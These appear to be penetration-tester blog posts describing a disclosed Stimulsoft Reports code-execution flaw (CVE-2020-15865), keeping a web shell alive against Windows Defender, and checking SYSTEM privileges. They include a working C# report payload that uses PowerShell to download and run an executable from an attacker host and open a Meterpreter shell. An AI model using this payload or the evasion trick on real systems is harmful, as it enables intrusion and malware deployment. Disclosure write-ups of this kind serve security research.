Recaf is super slick for reverse engineering and editing Java, I used it for arbitrary command injection (for RCE running as root!) last week (see previous post about the file handle lock).
Anyway, about Recaf... I love that it auto-guesses the Java version. I used both the decompiler and hex editor, both excellent. Check it out:
Still confirming this is working the way I intend it, updates and detailed POC to follow...
I
found RCE in a web application, and place a web shell file in a
publicly facing directory on the server. However, AV keeps deleting it,
so as part of my command injection, I spin up a process to put a file
handle on the shell. Even though defender is detecting it, it's not deleting it. (I know it's detecting it because I've also gained remote desktop access and can see the alerts.)
In the past I have focused mainly on detection evasion but deletion evasion is looking a lot easier right now.
UPDATE: Well, turns out my webshell was a low-priv account, but the process I was doing command injection through was running as NT AUTHORITY\SYSTEM, so woot! No wonder I can successfully lock the webshell file using a process that starts on startup. This doesn't work for Meterpreter payloads that spin off their own processes that then become detected. So maybe it works, but it's limited.
Sidenote:
A bit about how difficult it was to figure out I was root when my RCE was Java arbitrary code execution...
The
webshell was written to C:\inetpub\wwwroot by my Java process. It
executed commands as a low privilege AppPool type IIS user. Running
whoami through the shell will tell you this
Asking the Java Virtual Machine was a little useless. Calling System.getProperty("user.name") just returns the USERNAME environment variable from (I believe) when the JVM was initiated. This gave me PC-NAME$ where PC was the domain name of another user I got access another way, i.e. PC-NAME\otheruser.
FINALLY I got the idea to run "cmd.exe /c whoami" directly through
the Java injection, write the results to a publicly served directory
and check out the results. NT AUTHORITY\SYSTEM! Whew! At this point I
guess I don't need evasion, I could just turn off the AV!
The Stimulsoft Reports 2013.1.1600.0 library has code execution built in by design, and can be used to fully compromise the application server running it. Buried in the XML of the report file is a base-64 encoded string that contains C# code that a user can edit, then re-encode, submit, and execute.
It's pretty clear that the code is compiled and run, because the comments say "generated code - do not modify."
... so, of course, let's modify it!
I have to do a lot of testing at this point to make sure that modifying the code doesn't completely break it. After all, I still need it to run, I just want it to also run my code! The application kept crashing as I tried importing other namespaces that I could use, such as one for writing to the operating system (using System.IO). Looks like some of this namespaces are blacklisted, which is smart. It's making it difficult for me to get in.
Eventually the one able to add, without causing errors, is using System.Diagnostics. Which means I can use Process() to start a cmd.exe process and then use a Powershell command to download a payload and get a command shell with Meterpreter. That's what I do. With the malicious changes (in red), it looks like:
<script>
using System.Diagnostics;
namespace Reports {
public class New_Report : Stimulsoft.Report.StiReport
{
public New_Report()
{
this.InitializeComponent();
Process c = newProcess();
c.StartInfo.FileName = @"cmd.exe";
c.StartInfo.Arguments = @"/c powershell Invoke-WebRequest -Uri http://ATTACKER-IP/scary.exe -Outfile C:\ProgramData\scary.exe";
c.Start();
Process c1 = new Process();
c1.StartInfo.FileName = @"cmd.exe";
c1.StartInfo.Arguments = @"/c C:\ProgramData\scary.exe";
c1.Start();
}
#region StiReport Designer generated code - do not modify
#endregion StiReport Designer generated code - do not modify
}
}
</script>
Since this application is running as user NT AUTHORITY\SYSTEM, the Meterpreter shell returned to the attacker is also running as root.
Some disclaimers: it took a little discovery and trial and error to figure out that the server was running Windows, and which directory I would be able to download the payload to, permissions for executing Powershell scripts etc. Also, depending on how fast the download is, the attacker may have to download and execute the payload in two separate scripts.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15865
